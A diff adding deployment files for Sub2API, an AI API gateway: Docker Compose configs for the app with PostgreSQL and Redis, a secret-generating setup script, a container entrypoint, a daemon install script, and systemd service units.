- GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL=${GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL:-10}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_ENABLED=${GATEWAY_IMAGE_CONCURRENCY_ENABLED:-false}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS:-0}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE=${GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE:-reject}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS=${GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS:-30}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS:-100}
|
||||
healthcheck:
|
||||
test: ["CMD", "wget", "-q", "-T", "5", "-O", "/dev/null", "http://localhost:8080/health"]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
|
||||
volumes:
|
||||
sub2api_data:
|
||||
driver: local
|
||||
@@ -0,0 +1,302 @@
|
||||
# =============================================================================
|
||||
# Sub2API Docker Compose Configuration
|
||||
# =============================================================================
|
||||
# Quick Start:
|
||||
# 1. Copy .env.example to .env and configure
|
||||
# 2. docker-compose up -d
|
||||
# 3. Check logs: docker-compose logs -f sub2api
|
||||
# 4. Access: http://localhost:8080
|
||||
#
|
||||
# All configuration is done via environment variables.
|
||||
# No Setup Wizard needed - the system auto-initializes on first run.
|
||||
# =============================================================================
|
||||
|
||||
services:
|
||||
# ===========================================================================
|
||||
# Sub2API Application
|
||||
# ===========================================================================
|
||||
sub2api:
|
||||
image: weishaw/sub2api:latest
|
||||
container_name: sub2api
|
||||
restart: unless-stopped
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
ports:
|
||||
- "${BIND_HOST:-0.0.0.0}:${SERVER_PORT:-8080}:8080"
|
||||
volumes:
|
||||
# Data persistence (config.yaml will be auto-generated here)
|
||||
- sub2api_data:/app/data
|
||||
# Optional: Mount custom config.yaml (uncomment and create the file first)
|
||||
# Copy config.example.yaml to config.yaml, modify it, then uncomment:
|
||||
# - ./config.yaml:/app/data/config.yaml
|
||||
# Optional: Mount a custom Codex instructions template file, then point
|
||||
# gateway.forced_codex_instructions_template_file at /app/data/codex-instructions.md.tmpl
|
||||
# in config.yaml.
|
||||
# - ./codex-instructions.md.tmpl:/app/data/codex-instructions.md.tmpl:ro
|
||||
environment:
|
||||
# =======================================================================
|
||||
# Auto Setup (REQUIRED for Docker deployment)
|
||||
# =======================================================================
|
||||
- AUTO_SETUP=true
|
||||
|
||||
# =======================================================================
|
||||
# Server Configuration
|
||||
# =======================================================================
|
||||
- SERVER_HOST=0.0.0.0
|
||||
- SERVER_PORT=8080
|
||||
- SERVER_MODE=${SERVER_MODE:-release}
|
||||
- ENABLE_SERVER_TIMING=${ENABLE_SERVER_TIMING:-false}
|
||||
- RUN_MODE=${RUN_MODE:-standard}
|
||||
- UPDATE_GITHUB_TOKEN=${UPDATE_GITHUB_TOKEN:-}
|
||||
- ALIPAY_MOBILE_PRECREATE_DEEP_LINK=${ALIPAY_MOBILE_PRECREATE_DEEP_LINK:-}
|
||||
|
||||
# =======================================================================
|
||||
# Database Configuration (PostgreSQL)
|
||||
# =======================================================================
|
||||
- DATABASE_HOST=postgres
|
||||
- DATABASE_PORT=5432
|
||||
- DATABASE_USER=${POSTGRES_USER:-sub2api}
|
||||
- DATABASE_PASSWORD=${POSTGRES_PASSWORD:?POSTGRES_PASSWORD is required}
|
||||
- DATABASE_DBNAME=${POSTGRES_DB:-sub2api}
|
||||
- DATABASE_SSLMODE=disable
|
||||
- DATABASE_MAX_OPEN_CONNS=${DATABASE_MAX_OPEN_CONNS:-50}
|
||||
- DATABASE_MAX_IDLE_CONNS=${DATABASE_MAX_IDLE_CONNS:-10}
|
||||
- DATABASE_CONN_MAX_LIFETIME_MINUTES=${DATABASE_CONN_MAX_LIFETIME_MINUTES:-30}
|
||||
- DATABASE_CONN_MAX_IDLE_TIME_MINUTES=${DATABASE_CONN_MAX_IDLE_TIME_MINUTES:-5}
|
||||
|
||||
# =======================================================================
|
||||
# Redis Configuration
|
||||
# =======================================================================
|
||||
- REDIS_HOST=redis
|
||||
- REDIS_PORT=6379
|
||||
- REDIS_USERNAME=${REDIS_USERNAME:-}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD:-}
|
||||
- REDIS_DB=${REDIS_DB:-0}
|
||||
- REDIS_POOL_SIZE=${REDIS_POOL_SIZE:-1024}
|
||||
- REDIS_MIN_IDLE_CONNS=${REDIS_MIN_IDLE_CONNS:-10}
|
||||
- REDIS_ENABLE_TLS=${REDIS_ENABLE_TLS:-false}
|
||||
|
||||
# =======================================================================
|
||||
# Admin Account (auto-created on first run)
|
||||
# =======================================================================
|
||||
- ADMIN_EMAIL=${ADMIN_EMAIL:-admin@sub2api.local}
|
||||
- ADMIN_PASSWORD=${ADMIN_PASSWORD:-}
|
||||
|
||||
# =======================================================================
|
||||
# JWT Configuration
|
||||
# =======================================================================
|
||||
# IMPORTANT: Set a fixed JWT_SECRET to prevent login sessions from being
|
||||
# invalidated after container restarts. If left empty, a random secret
|
||||
# will be generated on each startup.
|
||||
# Generate a secure secret: openssl rand -hex 32
|
||||
- JWT_SECRET=${JWT_SECRET:-}
|
||||
- JWT_EXPIRE_HOUR=${JWT_EXPIRE_HOUR:-24}
|
||||
|
||||
# =======================================================================
|
||||
# Setup Configuration
|
||||
# =======================================================================
|
||||
- SETUP_MIGRATION_TIMEOUT_SECONDS=${SETUP_MIGRATION_TIMEOUT_SECONDS:-0}
|
||||
|
||||
# =======================================================================
|
||||
# TOTP (2FA) Configuration
|
||||
# =======================================================================
|
||||
# IMPORTANT: Set a fixed encryption key for TOTP secrets. If left empty,
|
||||
# a random key will be generated on each startup, causing all existing
|
||||
# TOTP configurations to become invalid (users won't be able to login
|
||||
# with 2FA).
|
||||
# Generate a secure key: openssl rand -hex 32
|
||||
- TOTP_ENCRYPTION_KEY=${TOTP_ENCRYPTION_KEY:-}
|
||||
|
||||
# =======================================================================
|
||||
# Timezone Configuration
|
||||
# This affects ALL time operations in the application:
|
||||
# - Database timestamps
|
||||
# - Usage statistics "today" boundary
|
||||
# - Subscription expiry times
|
||||
# - Log timestamps
|
||||
# Common values: Asia/Shanghai, America/New_York, Europe/London, UTC
|
||||
# =======================================================================
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
|
||||
# =======================================================================
|
||||
# Gemini OAuth Configuration (for Gemini accounts)
|
||||
# =======================================================================
|
||||
- GEMINI_OAUTH_CLIENT_ID=${GEMINI_OAUTH_CLIENT_ID:-}
|
||||
- GEMINI_OAUTH_CLIENT_SECRET=${GEMINI_OAUTH_CLIENT_SECRET:-}
|
||||
- GEMINI_OAUTH_SCOPES=${GEMINI_OAUTH_SCOPES:-}
|
||||
- GEMINI_QUOTA_POLICY=${GEMINI_QUOTA_POLICY:-}
|
||||
|
||||
# Built-in OAuth client secrets (optional)
|
||||
# SECURITY: This repo does not embed third-party client_secret.
|
||||
- GEMINI_CLI_OAUTH_CLIENT_SECRET=${GEMINI_CLI_OAUTH_CLIENT_SECRET:-}
|
||||
- ANTIGRAVITY_OAUTH_CLIENT_SECRET=${ANTIGRAVITY_OAUTH_CLIENT_SECRET:-}
|
||||
- ANTIGRAVITY_USER_AGENT_VERSION=${ANTIGRAVITY_USER_AGENT_VERSION:-}
|
||||
|
||||
# =======================================================================
|
||||
# Security Configuration (URL Allowlist)
|
||||
# =======================================================================
|
||||
# Enable URL allowlist validation (false to skip allowlist checks)
|
||||
- SECURITY_URL_ALLOWLIST_ENABLED=${SECURITY_URL_ALLOWLIST_ENABLED:-false}
|
||||
# Allow insecure HTTP URLs when allowlist is disabled (default: true; set to false to require https)
|
||||
- SECURITY_URL_ALLOWLIST_ALLOW_INSECURE_HTTP=${SECURITY_URL_ALLOWLIST_ALLOW_INSECURE_HTTP:-true}
|
||||
# Allow private IP addresses for upstream/pricing/CRS (default: true; set to false to block private hosts)
|
||||
- SECURITY_URL_ALLOWLIST_ALLOW_PRIVATE_HOSTS=${SECURITY_URL_ALLOWLIST_ALLOW_PRIVATE_HOSTS:-true}
|
||||
# Upstream hosts whitelist (comma-separated, only used when enabled=true)
|
||||
- SECURITY_URL_ALLOWLIST_UPSTREAM_HOSTS=${SECURITY_URL_ALLOWLIST_UPSTREAM_HOSTS:-}
|
||||
|
||||
# =======================================================================
|
||||
# Update Configuration (在线更新配置)
|
||||
# =======================================================================
|
||||
# Proxy for accessing GitHub (online updates + pricing data)
|
||||
# Examples: http://host:port, socks5://host:port
|
||||
- UPDATE_PROXY_URL=${UPDATE_PROXY_URL:-}
|
||||
|
||||
# =======================================================================
|
||||
# Image Generation Stream & Concurrency
|
||||
# =======================================================================
|
||||
# OpenAI HTTP upstream protocol/timeout
|
||||
- GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT=${GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT:-0}
|
||||
- GATEWAY_OPENAI_HTTP2_ENABLED=${GATEWAY_OPENAI_HTTP2_ENABLED:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1=${GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1:-true}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD=${GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS=${GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS:-600}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD:-2}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS:-60}
|
||||
- GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS=${GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS:-600}
|
||||
- GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT=${GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT:-900}
|
||||
- GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL=${GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL:-10}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_ENABLED=${GATEWAY_IMAGE_CONCURRENCY_ENABLED:-false}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS:-0}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE=${GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE:-reject}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS=${GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS:-30}
|
||||
- GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS=${GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS:-100}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"wget",
|
||||
"-q",
|
||||
"-T",
|
||||
"5",
|
||||
"-O",
|
||||
"/dev/null",
|
||||
"http://localhost:8080/health",
|
||||
]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
|
||||
# ===========================================================================
|
||||
# PostgreSQL Database
|
||||
# ===========================================================================
|
||||
postgres:
|
||||
image: postgres:18-alpine
|
||||
container_name: sub2api-postgres
|
||||
restart: unless-stopped
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
# Pass the tuning values documented in .env.example to postgres. The
|
||||
# fallbacks are the postgres:18 stock defaults, so nothing changes when
|
||||
# the variables are not set.
|
||||
command: >
|
||||
postgres
|
||||
-c max_connections=${POSTGRES_MAX_CONNECTIONS:-100}
|
||||
-c shared_buffers=${POSTGRES_SHARED_BUFFERS:-128MB}
|
||||
-c effective_cache_size=${POSTGRES_EFFECTIVE_CACHE_SIZE:-4GB}
|
||||
-c maintenance_work_mem=${POSTGRES_MAINTENANCE_WORK_MEM:-64MB}
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
environment:
|
||||
# postgres:18-alpine 默认 PGDATA=/var/lib/postgresql/18/docker(位于镜像声明的匿名卷 /var/lib/postgresql 内)。
|
||||
# 若不显式设置 PGDATA,则即使挂载了 postgres_data 到 /var/lib/postgresql/data,数据也不会落盘到该命名卷,
|
||||
# docker compose down/up 后会触发 initdb 重新初始化,导致用户/密码等数据丢失。
|
||||
- PGDATA=/var/lib/postgresql/data
|
||||
- POSTGRES_USER=${POSTGRES_USER:-sub2api}
|
||||
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?POSTGRES_PASSWORD is required}
|
||||
- POSTGRES_DB=${POSTGRES_DB:-sub2api}
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${POSTGRES_USER:-sub2api} -d ${POSTGRES_DB:-sub2api}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
# 注意:不暴露端口到宿主机,应用通过内部网络连接
|
||||
# 如需调试,可临时添加:ports: ["127.0.0.1:5433:5432"]
|
||||
|
||||
# ===========================================================================
|
||||
# Redis Cache
|
||||
# ===========================================================================
|
||||
redis:
|
||||
image: redis:8-alpine
|
||||
container_name: sub2api-redis
|
||||
restart: unless-stopped
|
||||
ulimits:
|
||||
nofile:
|
||||
soft: 100000
|
||||
hard: 100000
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
# The command is one quoted script for the inner `sh -c`. Compose keeps
|
||||
# the newlines inside the quoted string, so every line needs a trailing
|
||||
# `\` — without it, `redis-server` on the first line runs with no flags
|
||||
# at all, and the --save/--appendonly/--appendfsync lines are never read.
|
||||
command: >
|
||||
sh -c '
|
||||
redis-server \
|
||||
--save 60 1 \
|
||||
--appendonly yes \
|
||||
--appendfsync everysec \
|
||||
${REDIS_PASSWORD:+--requirepass "$REDIS_PASSWORD"}'
|
||||
environment:
|
||||
- TZ=${TZ:-Asia/Shanghai}
|
||||
# REDISCLI_AUTH is used by redis-cli for authentication (safer than -a flag)
|
||||
- REDISCLI_AUTH=${REDIS_PASSWORD:-}
|
||||
networks:
|
||||
- sub2api-network
|
||||
healthcheck:
|
||||
test: ["CMD", "redis-cli", "ping"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 5s
|
||||
# 注意:不暴露端口到宿主机,应用通过内部网络连接
|
||||
# 如需调试,可临时添加:ports: ["127.0.0.1:6379:6379"]
|
||||
# =============================================================================
|
||||
# Volumes
|
||||
# =============================================================================
|
||||
volumes:
|
||||
sub2api_data:
|
||||
driver: local
|
||||
postgres_data:
|
||||
driver: local
|
||||
redis_data:
|
||||
driver: local
|
||||
|
||||
# =============================================================================
|
||||
# Networks
|
||||
# =============================================================================
|
||||
networks:
|
||||
sub2api-network:
|
||||
driver: bridge
|
||||
@@ -0,0 +1,171 @@
|
||||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Sub2API Docker Deployment Preparation Script
|
||||
# =============================================================================
|
||||
# This script prepares deployment files for Sub2API:
|
||||
# - Downloads docker-compose.local.yml and .env.example
|
||||
# - Generates secure secrets (JWT_SECRET, TOTP_ENCRYPTION_KEY, POSTGRES_PASSWORD)
|
||||
# - Creates necessary data directories
|
||||
#
|
||||
# After running this script, you can start services with:
|
||||
# docker-compose up -d
|
||||
# =============================================================================
|
||||
|
||||
set -e
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# GitHub raw content base URL
|
||||
GITHUB_RAW_URL="https://raw.githubusercontent.com/Wei-Shaw/sub2api/main/deploy"
|
||||
|
||||
# Print colored message
|
||||
print_info() {
|
||||
echo -e "${BLUE}[INFO]${NC} $1"
|
||||
}
|
||||
|
||||
print_success() {
|
||||
echo -e "${GREEN}[SUCCESS]${NC} $1"
|
||||
}
|
||||
|
||||
print_warning() {
|
||||
echo -e "${YELLOW}[WARNING]${NC} $1"
|
||||
}
|
||||
|
||||
print_error() {
|
||||
echo -e "${RED}[ERROR]${NC} $1"
|
||||
}
|
||||
|
||||
# Generate random secret
|
||||
generate_secret() {
|
||||
openssl rand -hex 32
|
||||
}
|
||||
|
||||
# Check if command exists
|
||||
command_exists() {
|
||||
command -v "$1" >/dev/null 2>&1
|
||||
}
|
||||
|
||||
# Main installation function
|
||||
main() {
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Sub2API Deployment Preparation"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
|
||||
# Check if openssl is available
|
||||
if ! command_exists openssl; then
|
||||
print_error "openssl is not installed. Please install openssl first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check if deployment already exists
|
||||
if [ -f "docker-compose.yml" ] && [ -f ".env" ]; then
|
||||
print_warning "Deployment files already exist in current directory."
|
||||
read -p "Overwrite existing files? (y/N): " -r
|
||||
echo
|
||||
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
|
||||
print_info "Cancelled."
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Download docker-compose.local.yml and save as docker-compose.yml
|
||||
print_info "Downloading docker-compose.yml..."
|
||||
if command_exists curl; then
|
||||
curl -sSL "${GITHUB_RAW_URL}/docker-compose.local.yml" -o docker-compose.yml
|
||||
elif command_exists wget; then
|
||||
wget -q "${GITHUB_RAW_URL}/docker-compose.local.yml" -O docker-compose.yml
|
||||
else
|
||||
print_error "Neither curl nor wget is installed. Please install one of them."
|
||||
exit 1
|
||||
fi
|
||||
print_success "Downloaded docker-compose.yml"
|
||||
|
||||
# Download .env.example
|
||||
print_info "Downloading .env.example..."
|
||||
if command_exists curl; then
|
||||
curl -sSL "${GITHUB_RAW_URL}/.env.example" -o .env.example
|
||||
else
|
||||
wget -q "${GITHUB_RAW_URL}/.env.example" -O .env.example
|
||||
fi
|
||||
print_success "Downloaded .env.example"
|
||||
|
||||
# Generate .env file with auto-generated secrets
|
||||
print_info "Generating secure secrets..."
|
||||
echo ""
|
||||
|
||||
# Generate secrets
|
||||
JWT_SECRET=$(generate_secret)
|
||||
TOTP_ENCRYPTION_KEY=$(generate_secret)
|
||||
POSTGRES_PASSWORD=$(generate_secret)
|
||||
|
||||
# Create .env from .env.example
|
||||
cp .env.example .env
|
||||
|
||||
# Update .env with generated secrets (cross-platform compatible)
|
||||
if sed --version >/dev/null 2>&1; then
|
||||
# GNU sed (Linux)
|
||||
sed -i "s/^JWT_SECRET=.*/JWT_SECRET=${JWT_SECRET}/" .env
|
||||
sed -i "s/^TOTP_ENCRYPTION_KEY=.*/TOTP_ENCRYPTION_KEY=${TOTP_ENCRYPTION_KEY}/" .env
|
||||
sed -i "s/^POSTGRES_PASSWORD=.*/POSTGRES_PASSWORD=${POSTGRES_PASSWORD}/" .env
|
||||
else
|
||||
# BSD sed (macOS)
|
||||
sed -i '' "s/^JWT_SECRET=.*/JWT_SECRET=${JWT_SECRET}/" .env
|
||||
sed -i '' "s/^TOTP_ENCRYPTION_KEY=.*/TOTP_ENCRYPTION_KEY=${TOTP_ENCRYPTION_KEY}/" .env
|
||||
sed -i '' "s/^POSTGRES_PASSWORD=.*/POSTGRES_PASSWORD=${POSTGRES_PASSWORD}/" .env
|
||||
fi
|
||||
|
||||
# Create data directories
|
||||
print_info "Creating data directories..."
|
||||
mkdir -p data postgres_data redis_data
|
||||
print_success "Created data directories"
|
||||
|
||||
# Set secure permissions for .env file (readable/writable only by owner)
|
||||
chmod 600 .env
|
||||
echo ""
|
||||
|
||||
# Display completion message
|
||||
echo "=========================================="
|
||||
echo " Preparation Complete!"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
echo "Generated secure credentials:"
|
||||
echo " POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}"
|
||||
echo " JWT_SECRET: ${JWT_SECRET}"
|
||||
echo " TOTP_ENCRYPTION_KEY: ${TOTP_ENCRYPTION_KEY}"
|
||||
echo ""
|
||||
print_warning "These credentials have been saved to .env file."
|
||||
print_warning "Please keep them secure and do not share publicly!"
|
||||
echo ""
|
||||
echo "Directory structure:"
|
||||
echo " docker-compose.yml - Docker Compose configuration"
|
||||
echo " .env - Environment variables (generated secrets)"
|
||||
echo " .env.example - Example template (for reference)"
|
||||
echo " data/ - Application data (will be created on first run)"
|
||||
echo " postgres_data/ - PostgreSQL data"
|
||||
echo " redis_data/ - Redis data"
|
||||
echo ""
|
||||
echo "Next steps:"
|
||||
echo " 1. (Optional) Edit .env to customize configuration"
|
||||
echo " 2. Start services:"
|
||||
echo " docker-compose up -d"
|
||||
echo ""
|
||||
echo " 3. View logs:"
|
||||
echo " docker-compose logs -f sub2api"
|
||||
echo ""
|
||||
echo " 4. Access Web UI:"
|
||||
echo " http://localhost:8080"
|
||||
echo ""
|
||||
print_info "If admin password is not set in .env, it will be auto-generated."
|
||||
print_info "Check logs for the generated admin password on first startup."
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Run main function
|
||||
main "$@"
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
# Fix data directory permissions when running as root.
|
||||
# Docker named volumes / host bind-mounts may be owned by root,
|
||||
# preventing the non-root sub2api user from writing files.
|
||||
if [ "$(id -u)" = "0" ]; then
|
||||
mkdir -p /app/data
|
||||
# Use || true to avoid failure on read-only mounted files (e.g. config.yaml:ro)
|
||||
chown -R sub2api:sub2api /app/data 2>/dev/null || true
|
||||
# Re-invoke this script as sub2api so the flag-detection below
|
||||
# also runs under the correct user.
|
||||
exec su-exec sub2api "$0" "$@"
|
||||
fi
|
||||
|
||||
# Compatibility: if the first arg looks like a flag (e.g. --help),
|
||||
# prepend the default binary so it behaves the same as the old
|
||||
# ENTRYPOINT ["/app/sub2api"] style.
|
||||
if [ "${1#-}" != "$1" ]; then
|
||||
set -- /app/sub2api "$@"
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,123 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# 用法:
|
||||
# sudo ./install-datamanagementd.sh --binary /path/to/datamanagementd
|
||||
# 或:
|
||||
# sudo ./install-datamanagementd.sh --source /path/to/sub2api/repo
|
||||
|
||||
BIN_PATH=""
|
||||
SOURCE_PATH=""
|
||||
INSTALL_DIR="/opt/sub2api"
|
||||
DATA_DIR="/var/lib/sub2api/datamanagement"
|
||||
SERVICE_FILE_NAME="sub2api-datamanagementd.service"
|
||||
|
||||
function print_help() {
|
||||
cat <<'EOF'
|
||||
用法:
|
||||
install-datamanagementd.sh [--binary <datamanagementd二进制路径>] [--source <仓库路径>]
|
||||
|
||||
参数:
|
||||
--binary 指定已构建的 datamanagementd 二进制路径
|
||||
--source 指定 sub2api 仓库路径(脚本会执行 go build)
|
||||
-h, --help 显示帮助
|
||||
|
||||
示例:
|
||||
sudo ./install-datamanagementd.sh --binary ./datamanagement/datamanagementd
|
||||
sudo ./install-datamanagementd.sh --source /opt/sub2api-src
|
||||
EOF
|
||||
}
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--binary)
|
||||
BIN_PATH="${2:-}"
|
||||
shift 2
|
||||
;;
|
||||
--source)
|
||||
SOURCE_PATH="${2:-}"
|
||||
shift 2
|
||||
;;
|
||||
-h|--help)
|
||||
print_help
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
echo "未知参数: $1"
|
||||
print_help
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ -n "$BIN_PATH" && -n "$SOURCE_PATH" ]]; then
|
||||
echo "错误: --binary 与 --source 只能二选一"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ -z "$BIN_PATH" && -z "$SOURCE_PATH" ]]; then
|
||||
echo "错误: 必须提供 --binary 或 --source"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ "$(id -u)" -ne 0 ]]; then
|
||||
echo "错误: 请使用 root 权限执行(例如 sudo)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ -n "$SOURCE_PATH" ]]; then
|
||||
if [[ ! -d "$SOURCE_PATH/datamanagement" ]]; then
|
||||
echo "错误: 无效仓库路径,未找到 $SOURCE_PATH/datamanagement"
|
||||
exit 1
|
||||
fi
|
||||
echo "[1/6] 从源码构建 datamanagementd..."
|
||||
(cd "$SOURCE_PATH/datamanagement" && go build -o datamanagementd ./cmd/datamanagementd)
|
||||
BIN_PATH="$SOURCE_PATH/datamanagement/datamanagementd"
|
||||
fi
|
||||
|
||||
if [[ ! -f "$BIN_PATH" ]]; then
|
||||
echo "错误: 二进制文件不存在: $BIN_PATH"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! id sub2api >/dev/null 2>&1; then
|
||||
echo "[2/6] 创建系统用户 sub2api..."
|
||||
useradd --system --no-create-home --shell /usr/sbin/nologin sub2api
|
||||
else
|
||||
echo "[2/6] 系统用户 sub2api 已存在,跳过创建"
|
||||
fi
|
||||
|
||||
echo "[3/6] 安装 datamanagementd 二进制..."
|
||||
mkdir -p "$INSTALL_DIR"
|
||||
install -m 0755 "$BIN_PATH" "$INSTALL_DIR/datamanagementd"
|
||||
|
||||
echo "[4/6] 准备数据目录..."
|
||||
mkdir -p "$DATA_DIR"
|
||||
chown -R sub2api:sub2api /var/lib/sub2api
|
||||
chmod 0750 "$DATA_DIR"
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
SERVICE_TEMPLATE="$SCRIPT_DIR/$SERVICE_FILE_NAME"
|
||||
if [[ ! -f "$SERVICE_TEMPLATE" ]]; then
|
||||
echo "错误: 未找到服务模板 $SERVICE_TEMPLATE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[5/6] 安装 systemd 服务..."
|
||||
cp "$SERVICE_TEMPLATE" "/etc/systemd/system/$SERVICE_FILE_NAME"
|
||||
systemctl daemon-reload
|
||||
systemctl enable --now sub2api-datamanagementd
|
||||
|
||||
echo "[6/6] 完成,当前状态:"
|
||||
systemctl --no-pager --full status sub2api-datamanagementd || true
|
||||
|
||||
cat <<'EOF'
|
||||
|
||||
下一步建议:
|
||||
1. 查看日志:sudo journalctl -u sub2api-datamanagementd -f
|
||||
2. 在 sub2api(容器部署时)挂载 socket:
|
||||
/tmp/sub2api-datamanagement.sock:/tmp/sub2api-datamanagement.sock
|
||||
3. 进入管理后台“数据管理”页面确认 agent=enabled
|
||||
|
||||
EOF
|
||||
+1232
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,22 @@
|
||||
[Unit]
|
||||
Description=Sub2API Data Management Daemon
|
||||
After=network.target
|
||||
Wants=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=sub2api
|
||||
Group=sub2api
|
||||
WorkingDirectory=/opt/sub2api
|
||||
ExecStart=/opt/sub2api/datamanagementd \
|
||||
-socket-path /tmp/sub2api-datamanagement.sock \
|
||||
-sqlite-path /var/lib/sub2api/datamanagement/datamanagementd.db \
|
||||
-version 1.0.0
|
||||
Restart=always
|
||||
RestartSec=5s
|
||||
LimitNOFILE=100000
|
||||
NoNewPrivileges=true
|
||||
PrivateTmp=false
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,33 @@
|
||||
[Unit]
|
||||
Description=Sub2API - AI API Gateway Platform
|
||||
Documentation=https://github.com/Wei-Shaw/sub2api
|
||||
After=network.target postgresql.service redis.service
|
||||
Wants=postgresql.service redis.service
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=sub2api
|
||||
Group=sub2api
|
||||
WorkingDirectory=/opt/sub2api
|
||||
ExecStart=/opt/sub2api/sub2api
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
SyslogIdentifier=sub2api
|
||||
|
||||
# Security hardening
|
||||
NoNewPrivileges=true
|
||||
ProtectSystem=strict
|
||||
ProtectHome=true
|
||||
PrivateTmp=true
|
||||
ReadWritePaths=/opt/sub2api
